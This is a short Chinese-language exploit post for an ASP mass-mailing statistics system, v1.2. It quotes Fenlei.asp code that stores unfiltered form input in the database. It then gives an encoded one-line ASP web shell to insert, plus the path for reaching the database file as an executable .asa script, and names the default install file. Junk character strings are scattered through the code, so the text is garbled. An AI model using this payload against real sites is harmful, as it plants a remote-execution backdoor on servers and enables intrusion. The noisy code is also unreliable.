铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
, _' a' v* k$ h! y& A) s
IF Request.QueryString("Action")="del" Then
, h! \; K$ a& ^3 ?2 RID=Request.QueryString("ID")
* M( f/ `* R/ K$ `* EIF Countss ("tui","Fenlei",ID )<>0 then
$ I2 q. w. z& B, v8 [& ^'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
' }6 `' j) b+ D/ |8 ZSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
; w7 z& c  n( ?8 K' \Rs.Addnew
Rs("Typename")=Tname
7 N: Y5 X# Y; s/ S  i'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
9 @8 L0 p6 H$ a% O& ORs.Open Sql,Conn,1,1
$ @+ m$ [5 H6 p* ^8 R'略
3 y5 A" }, d4 Z2 f8 d. y%>


; f4 O2 ]( a- F; Y( W
没有过滤，直接写入数据库。

利用方法：
- n0 J6 v2 j0 C8 r4 R3 H
2 u9 j; a9 u# p9 |3 Z5 x  ^% z插入：┼攠數畣整爠煥敵瑳∨≡┩>
+ n# c% Q, P) Q8 c7 ]8 T
8 O* R0 }* {# |  q+ P
连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
'install.asp